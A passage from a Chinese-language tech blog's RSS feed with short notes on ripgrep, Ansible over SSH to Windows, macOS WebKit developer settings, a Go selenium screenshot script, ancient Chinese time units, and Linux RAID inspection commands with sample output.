&lt;p>ripgrep（rg）是以行為單位的搜尋工具，會遞迴搜尋目前目錄中的正則比對內容。它比 grep 更快，並支援壓縮檔搜尋、輸出著色、智慧大小寫、檔案類型過濾、多執行緒等功能。&lt;/p>
&lt;h4 id="topgrade">&lt;a href="https://github.com/topgrade-rs/topgrade" target="_blank" rel="noopener">Topgrade&lt;/a>&lt;/h4>
&lt;p>Topgrade 是很棒的工具，適合想要讓系統保持最新狀態的人。&lt;/p></description></item><item><title>Windows SSH setup</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230103-windows-ssh-setup/</link><pubDate>Tue, 03 Jan 2023 12:36:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230103-windows-ssh-setup/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/windows-ssh-setup/" target="_blank" rel="noopener">Windows SSH setup&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse" target="_blank" rel="noopener">Install OpenSSH for Windows&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>預設的 shell 是使用 cmd，照文件說，若需要修改，是要改 ansible_shell_type 變數，這應該是要在 inventory 主機裡加入主機變數：ansible_shell_type，變數內容可以是 cmd 或 powershell。&lt;/li>
&lt;li>inventory 主機裡要加入 ansible_connection 主機變數，告知要使用 ssh 連線。(&lt;code>192.168.192.11 ansible_user=Administrator ansible_connection=ssh ansible_shell_type=cmd &lt;/code>)&lt;/li>
&lt;li>可能會需要在 ansible.cfg 裡加上 remote_tmp 設定，指定為 C:\TEMP&lt;/li>
&lt;li>Playbook 裡可以使用 &lt;code>win_&lt;/code> 開頭的模組，或是使用 raw 模組&lt;/li>
&lt;/ol></description></item><item><title>在 macOS 中檢視 Web Views</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221202-inspecting-web-views-in-macos/</link><pubDate>Fri, 02 Dec 2022 13:51:24 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221202-inspecting-web-views-in-macos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.jim-nielsen.com/2022/inspecting-web-views-in-macos/" target="_blank" rel="noopener">在 macOS 中檢視 Web Views&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>defaults write -g WebKitDeveloperExtras -bool YES
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go 使用 selenium 截图</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221202-go-selenium/</link><pubDate>Fri, 02 Dec 2022 13:40:19 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221202-go-selenium/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dmesg.app/go-selenium.html" target="_blank" rel="noopener">Go 使用 selenium 截图&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span> &lt;span style="color:#e6db74">&amp;#34;github.com/sirupsen/logrus&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/tebeka/selenium&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io/ioutil&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chromeDriverPath&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;/usr/local/bin/chromedriver&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">port&lt;/span> = &lt;span style="color:#ae81ff">9515&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">opts&lt;/span> []&lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">ServiceOption&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">SetDebug&lt;/span>(&lt;span style="color:#66d9ef">false&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">service&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewChromeDriverService&lt;/span>(&lt;span style="color:#a6e22e">chromeDriverPath&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>, &lt;span style="color:#a6e22e">opts&lt;/span>&lt;span style="color:#f92672">...&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>) &lt;span style="color:#75715e">// panic is used only as an example and is not otherwise recommended.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">service&lt;/span>.&lt;span style="color:#a6e22e">Stop&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">caps&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">Capabilities&lt;/span>{&lt;span style="color:#e6db74">&amp;#34;browserName&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;chrome&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 整页截屏&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// chromeCaps := chrome.Capabilities{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Path: &amp;#34;&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Args: []string{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// &amp;#34;--headless&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// },&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// caps.AddChrome(chromeCaps)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wd&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewRemote&lt;/span>(&lt;span style="color:#a6e22e">caps&lt;/span>, &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;http://localhost:%d/wd/hub&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Quit&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 在 selenium 中使用ExecuteScript就可以执行 JavaScript 代码，需要注意返回值是 interface，所以要类型断言成 float，然后再转成 int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// height, _ := wd.ExecuteScript(&amp;#34;return document.body.parentNode.scrollHeight&amp;#34;, nil)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// var realHeight = int(height.(float64))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 然后我们需要设置窗口大小&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// wd.ResizeWindow(&amp;#34;&amp;#34;, 1920, realHeight)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Get&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;https://github.com/tgbot-collection/archiver&amp;#34;&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Screenshot&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Errorln&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ioutil&lt;/span>.&lt;span style="color:#a6e22e">WriteFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;screenshot.png&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#ae81ff">0644&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="整页截屏">整页截屏&lt;/h5>
&lt;p>获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率&lt;/p></description></item><item><title>古代計時單位</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221129-ancient-time-unit/</link><pubDate>Tue, 29 Nov 2022 11:21:02 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221129-ancient-time-unit/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://wywu.pixnet.net/blog/posts/1022354528" target="_blank" rel="noopener">古代計時單位&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="十二時辰時間對照表">十二時辰時間對照表&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>時辰&lt;/th>
&lt;th>古名&lt;/th>
&lt;th>對應現代時間&lt;/th>
&lt;th>初 / 正時間&lt;/th>
&lt;th>別名（完整）&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>子時&lt;/td>
&lt;td>夜半&lt;/td>
&lt;td>23:00-01:00&lt;/td>
&lt;td>子初 23:00&lt;br>子正 00:00&lt;/td>
&lt;td>子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>丑時&lt;/td>
&lt;td>雞鳴&lt;/td>
&lt;td>01:00-03:00&lt;/td>
&lt;td>丑初 01:00&lt;br>丑正 02:00&lt;/td>
&lt;td>荒雞&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>寅時&lt;/td>
&lt;td>平旦&lt;/td>
&lt;td>03:00-05:00&lt;/td>
&lt;td>寅初 03:00&lt;br>寅正 04:00&lt;/td>
&lt;td>平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>卯時&lt;/td>
&lt;td>日出&lt;/td>
&lt;td>05:00-07:00&lt;/td>
&lt;td>卯初 05:00&lt;br>卯正 06:00&lt;/td>
&lt;td>日上、日生、日升、日始、日晞、旭日、破曉&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>辰時&lt;/td>
&lt;td>食時&lt;/td>
&lt;td>07:00-09:00&lt;/td>
&lt;td>辰初 07:00&lt;br>辰正 08:00&lt;/td>
&lt;td>早食、宴食、蚤食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>巳時&lt;/td>
&lt;td>隅中&lt;/td>
&lt;td>09:00-11:00&lt;/td>
&lt;td>巳初 09:00&lt;br>巳正 10:00&lt;/td>
&lt;td>日隅、禺中、日禺&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>午時&lt;/td>
&lt;td>日中&lt;/td>
&lt;td>11:00-13:00&lt;/td>
&lt;td>午初 11:00&lt;br>午正 12:00&lt;/td>
&lt;td>日正、日午、日高、正午、中午、亭午、日當午、平午、平晝&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>未時&lt;/td>
&lt;td>日昳&lt;/td>
&lt;td>13:00-15:00&lt;/td>
&lt;td>未初 13:00&lt;br>未正 14:00&lt;/td>
&lt;td>日昃、日仄、日側、日跌、日斜、日映、日央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>申時&lt;/td>
&lt;td>晡時&lt;/td>
&lt;td>15:00-17:00&lt;/td>
&lt;td>申初 15:00&lt;br>申正 16:00&lt;/td>
&lt;td>餔時、日餔、日晡、日鋪、日稷、日夕、夕食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>酉時&lt;/td>
&lt;td>日入&lt;/td>
&lt;td>17:00-19:00&lt;/td>
&lt;td>酉初 17:00&lt;br>酉正 18:00&lt;/td>
&lt;td>日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>戌時&lt;/td>
&lt;td>黃昏&lt;/td>
&lt;td>19:00-21:00&lt;/td>
&lt;td>戌初 19:00&lt;br>戌正 20:00&lt;/td>
&lt;td>日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>亥時&lt;/td>
&lt;td>人定&lt;/td>
&lt;td>21:00-23:00&lt;/td>
&lt;td>亥初 21:00&lt;br>亥正 22:00&lt;/td>
&lt;td>定昏、夤夜&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="更">更&lt;/h5>
&lt;p>漢代皇宮中值班人員分五個班次，按時更換，叫「五更」，由此古人把便把一夜分為五更，每更為一個時辰。
戌時為一更，亥時為二更，子時為三更，丑時為四更，寅時為五更&lt;/p></description></item><item><title>在 Linux 中偵測 RAID 資訊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221128-raid-information-command-line/</link><pubDate>Mon, 28 Nov 2022 15:36:27 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221128-raid-information-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/raid-information-command-line" target="_blank" rel="noopener">在 Linux 中偵測 RAID 資訊&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="lspci">lspci&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lspci | grep RAID
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00:1f.2 RAID bus controller: Intel Corporation &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">(&lt;/span>rev 04&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lshw">lshw&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lshw -class storage
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> *-raid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: RAID bus controller
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> product: &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vendor: Intel Corporation
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> physical id: 1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bus info: pci@0000:00:1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logical name: scsi0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version: &lt;span style="color:#ae81ff">04&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> width: &lt;span style="color:#ae81ff">32&lt;/span> bits
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> clock: 66MHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> capabilities: raid msi pm bus_master cap_list emulated
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> configuration: driver&lt;span style="color:#f92672">=&lt;/span>ahci latency&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resources: irq:26 ioport:f0d0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0c0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f0b0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0a0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f060&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>32&lt;span style="color:#f92672">)&lt;/span> memory:f7e36000-f7e367ff
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="smartctl">smartctl&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dmesg | grep -i scsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.210852&lt;span style="color:#f92672">]&lt;/span> SCSI subsystem initialized
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.341280&lt;span style="color:#f92672">]&lt;/span> Block layer SCSI generic &lt;span style="color:#f92672">(&lt;/span>bsg&lt;span style="color:#f92672">)&lt;/span> driver version 0.4 loaded &lt;span style="color:#f92672">(&lt;/span>major 243&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.213299&lt;span style="color:#f92672">]&lt;/span> scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: &lt;span style="color:#ae81ff">0&lt;/span> ANSI: &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.319886&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: &lt;span style="color:#f92672">[&lt;/span>sda&lt;span style="color:#f92672">]&lt;/span> Attached SCSI disk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 19.571008&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: Attached scsi generic sg0 type &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>smartctl --all /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Model Family: Seagate Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Model: ST320LT012-9WS14C
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serial Number: S0V3R9LL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>LU WWN Device Id: &lt;span style="color:#ae81ff">5&lt;/span> 000c50 05be4653c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Firmware Version: 0001YAM1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User Capacity: 320,072,933,376 bytes &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#ae81ff">320&lt;/span> GB&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Sizes: &lt;span style="color:#ae81ff">512&lt;/span> bytes logical, &lt;span style="color:#ae81ff">4096&lt;/span> bytes physical
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Rotation Rate: &lt;span style="color:#ae81ff">5400&lt;/span> rpm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Form Factor: 2.5 inches
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device is: In smartctl database 7.3/5319
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ATA Version is: ATA8-ACS T13/1699-D revision &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SATA Version is: SATA 2.6, 3.0 Gb/s &lt;span style="color:#f92672">(&lt;/span>current: 3.0 Gb/s&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local Time is: Sat Nov &lt;span style="color:#ae81ff">19&lt;/span> 20:52:01 &lt;span style="color:#ae81ff">2022&lt;/span> PKT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Available - device has SMART capability.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Enabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="megacli">MegaCLI&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>megacli -LDInfo -Lall -aALL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Adapter &lt;span style="color:#ae81ff">0&lt;/span> -- Virtual Drive Information:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Virtual Drive: &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">(&lt;/span>Target Id: 0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Size : &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Mirror Data : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Optimal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lsscsi">lsscsi&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lsscsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>0:0:0:0&lt;span style="color:#f92672">]&lt;/span> disk ATA ST320LT012-9WS14 YAM1 /dev/sda
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="廠商專用工具">廠商專用工具&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>omreport storage vdisk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>List of Virtual Disks in the System
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Controller SEAGATE Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ID : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Status : Ok
